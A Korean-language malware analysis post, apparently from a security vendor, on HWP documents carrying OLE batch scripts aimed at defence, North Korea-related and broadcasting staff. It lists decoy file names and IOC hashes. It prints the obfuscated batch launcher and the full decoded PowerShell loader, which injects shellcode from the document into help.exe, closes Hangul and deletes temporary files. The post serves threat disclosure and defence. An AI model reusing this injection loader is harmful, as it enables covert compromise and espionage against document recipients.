활발하게 유포 중인 BAT 스크립트 포함한 악성 한글문서 (북한/국방/방송)

ASEC 분석팀은 한글 문서의 정상 기능(OLE 개체 연결 삽입)을 악용하는 APT 문서가 최근 활발하게 유포 중임을 확인하였다. 지난 3월 3일 소개한 “20대 대통령선거 선상투표 보도자료 가장한 악성 한글문서 유포” 사례 이후로 공격자는 국방, 대북, 방송 관계자들을 대상으로 지속적으로 악성 한글 문서를 유포하고있다.

악성 한글 문서의 동작 방식은 한글 문서 안에 삽입된 OLE 개체(배치파일)가 실행되고, 이후 파워쉘을 통해 쉘코드를 정상 프로세스에 인젝션하여 동작한다. 이때 공격자는 OLE 개체(배치파일)가 실행될 수 있도록 사용자의 본문 클릭을 유도하는 문구를 주로 삽입한다.

아래의 한글 문서 목록은 이러한 동작 방식으로 유포된 악성 한글 문서의 파일명이다. 공격은 국방, 대북, 방송 관계자 대상으로 수행되었으며 유포는 PC 메신저와 웹 브라우저을 통해 다운로드되는 정황이 확인되었다.

• 검토용_정치의 이해 6교(수정반영본)_20220507.hwp (2022.05.10)
• 동평연 입회신청서(2022).hwp (2022.05.11)
• 혁신수업질문지.hwp (2022.05.18)
• 북한 코로나 사태 분석.hwp (2022.05.20)
• 동평연 입회신청서(김XX).hwp (2022.05.20)
• 김XX이력서.hwp (2022.05.20)
• 2022년도 공고문 주요 부분 발췌.hwp (2022.05.23)
• (연구자문위원회)_국회미래연구원_연구과제_수요조사.hwp (2022.05.25)
• 8교_완료_정치의 이해_편집자.hwp (2022.05.26)
• 220530- 혁신수업질문지.hwp (2022.05.30)
• 2022년 제13기 장학생 지원 신청서(교육비).hwp (2022.05.30)
• 국방부학술회의진행순서.hwp (2022.06.02)
• 2022-0626 하성란 – 누가 울어.hwp
(2022.06.07)

다음은 6월 7일에 수집된 “2022-0626 하성란 – 누가 울어.hwp”의 내부 배치 파일 스크립트이다. 배치 파일의 스크립트는 난독화 상태로 존재하지만, 최종적으로 파워쉘을 통해 쉘코드를 윈도우 정상 프로세스에 인젝션하는 기능을 수행한다.

@echo off
IF EXIST "%PROGRAMFILES(X86)%" (set pspath="%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe") 
ELSE (set pspath="%windir%\system32\WindowsPowerShell\v1.0\powershell.exe")
start "" %pspath%  -command "$ttms="$eruk2="""2463029..생략..3B7D7D""";
$blwp="""""";
for($i=0;$i -le $eruk2.Length-2;$i=$i+2){$NTMO=$eruk2[$i]+$eruk2[$i+1];$blwp= $blwp+[char]([convert]::toint16($NTMO,16));};
Invoke-Command -ScriptBlock ([Scriptblock]::Create($blwp));";
Invoke - Command - ScriptBlock([Scriptblock]::Create($ttms));"

특히, 지난 3월 3일에 공개된 “20대 대통령선거 선상투표 보도자료 가장한 악성 한글문서 유포”(https://asec.ahnlab.com/ko/32330/) 파일의 변수명과 구동 방식이 동일하여 같은 그룹의 공격 소행으로 추정된다.

  • 사용된 파워셀 변수명 일치 : $ttms, $eruk2
  • 날짜별 파워쉘 커맨드 명령 비교 (코드 유사성)
    -> 03월 03일 : $kkx9=[DllImport(“user32.dll”)] public static extern bool ShowWindow(int handle, int state);
    -> 06월 07일 : $kkp8=@” [DllImport(“user32.dll”)] public static extern bool ShowWindow(IntPtr a, uint b);”@;

최종 복호화 파워쉘 코드는 아래와 같다. 한글 본체 파일 하단의 쉘코드를 읽어 윈도우 정상 help.exe 프로세스에 인젝션을 수행한다.

$kkp8=@"
[DllImport("user32.dll")] 
public static extern bool ShowWindow(IntPtr a, uint b);
"@;
$mmp8=Add-Type -MemberDefinition $kkp8 -Name "AAA"  -PassThru;
$mmp8::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0);
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
    public IntPtr hP;
    public IntPtr ht;
    public uint dwProcessId;
    public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
    public uint cb;
    public string lpReserved;
    public string lpDesktop;
    public string lpTitle;
    public uint dwX;
    public uint dwY;
    public uint dwXSize;
    public uint dwYSize;
    public uint dwXCountChars;
    public uint dwYCountChars;
    public uint dwFillAttribute;
    public uint dwFlags;
    public uint wShowWindow;
    public short cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
}
public static class Kernel32
{
    [DllImport("kernel32.dll")]
    public static extern bool CreateProcess(string a,string b,uint c,uint d,bool e,uint f,IntPtr g,string h, ref STARTUPINFO i,out PROCESS_INFORMATION j);
    [DllImport("kernel32.dll")]
    public static extern IntPtr GlobalAlloc(uint a,uint b);
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAllocEx(IntPtr a,IntPtr b, uint c,uint d, uint  e);
    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(IntPtr a,IntPtr b,IntPtr c,uint  d,IntPtr e);
    [DllImport("kernel32.dll")]
    public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateRemoteThread(IntPtr a,IntPtr b,uint c,IntPtr d,IntPtr e,uint f,IntPtr g);
}
"@
$si = New-Object STARTUPINFO;
$pi = New-Object PROCESS_INFORMATION;
$ap8=Get-WmiObject Win32_Process -filter "Name like 'Hwp%'";
$x=0;
$y=0;
while(1){if($y -eq 1){break;}if($ap8.GetType().Name -eq "Object[]"){if($x -eq $ap8.count){$y=1;}$bp8=$ap8[$x].Name;
$cp8=$ap8[$x++].CommandLine;}else{$bp8=$ap8.Name;
$cp8=$ap8.CommandLine;
$y=1;}$ep8=$cp8.Split('"').count;if($ep8 -eq 3){$fp8=$cp8.Split('"')[2].Split(' ')[1];}elseif($ep8 -eq 5){$fp8=$cp8.Split('"')[3];}$bytes = Get-Content $fp8 -Tail 1 -Encoding Byte;
$dp8="/c taskkill /f /im "+$bp8;cmd $dp8;if($bytes -eq 0x88){$gp8=""""+$env:TEMP+"\alw0305k.con"+"""";
$hp8=""""+$env:TEMP+"\t32.bat"+"""";
$ip8=""""+$fp8+"""";sleep 3;
$bytes = Get-Content $fp8 -Tail 0x332 -Encoding Byte;
$addr = [Kernel32]::GlobalAlloc(0x40, 0x400);
for ($h = 0;$h -lt 0x331;$h++)
{[System.Runtime.InteropServices.Marshal]::WriteByte($addr, $h, $bytes[$h]);};
[Kernel32]::CreateProcess("c:\windows\SysWOW64\help.exe",0,0,0,0,0x04,0,"c:",[ref] $si,[ref] $pi);
$kp8=$pi.hP;
$mp8=[Kernel32]::VirtualAllocEx($kp8,0,0x400,0x1000,0x40);[Kernel32]::WriteProcessMemory($kp8,$mp8,$addr, 0x331, 0);
$dp8="/c copy /y "+$gp8+" "+$ip8;
$pep8=0;
$psp8='0';do{$pep8++;
$psp8=cmd $dp8;sleep 1;if($pep8 -eq 5){break;}}while($psp8.Trim()[0] -ne '1');start $ip8;
$jp8="cmd /c del /f "+""""+$gp8+"""";cmd $jp8;
$jp8="cmd /c del /f "+""""+$hp8+"""";cmd $jp8;
$lp8 = [Kernel32]::CreateRemoteThread($kp8, 0, 0, $mp8, 0, 0, 0);[Kernel32]::WaitForSingleObject($lp8, 500*1000);}}

과거의 악성 한글 문서는 주로 포스트 스크립트(Post Script) 취약점을 이용하여 APT 한글 문서를 유포하였지만, 최근에는 한글 문서의 정상 기능을 사용하여 유포하고 있다. 두 방식의 차이점은 취약점의 경우 사용자의 개입없이 악성 쉘코드가 실행되는 반면에, OLE 개체 이용 방식은 사용자의 개입(클릭)을 통해 악성 행위가 발현된다.

[그림 1] 한글 2020의 OLE 개채 삽입 기능

2017년 2월 이후로 공식적으로 한컴 오피스에서는 포스트 스크립트 취약점에 대한 보안 업데이트를 배포하고, EPS 파일 삽입 및 보기 기능을 제거하였다. 따라서 공격자는 최신 버전의 한컴 오피스 사용자 환경에서도 악성 행위가 발현될 수 있도록 OLE 개체를 악용하여 악성 문서를 배포하는 것으로 추정된다.

현재까지 확인된 유포 경로는 웹 브라우저를 통해 악성 한글 문서가 다운로드 되거나, PC 메신저를 통해 문서가 유포되는 사례가 확인되었다. 따라서 사용자는 출처가 불분명한 게시글의 첨부파일 열람을 자제하고, 신원미상의 사용자로 부터 PC 메신저를 통해 문서를 다운로드 및 열람하지 않도록 각별히 주의해야한다.

[파일 진단]
Infostealer/PS.Kimsuky

[IOC]
882546e8fc2dc2fd580170afda20e396
1d413a7c62b48760838bed0d03a35b05
393f78e609af5e77da5ea9ba10facbfb
e223711e31431250946203c27372cd3a
9aac95c3d76319fe3df9fed53fb06507
7442a74c7351b8ab0bb49b778530a95e
404e2fe1fbca70603cb91932664bc112
87c1f6ab7933bce7969f593e3c6096c2
393f78e609af5e77da5ea9ba10facbfb
b5b0ffecc4b30e7f140b517333c6a2d2
546ae7bd8b88289a21ac8d7dc62a3bd7
390a2439581b8c04adace93fed2e4425
7dea7277f672ad85fdf344c467f739eb
667dbfdc01cc6e808b2485c7eed74e97

연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

5 2 votes
별점 주기
guest
0 댓글
Inline Feedbacks
View all comments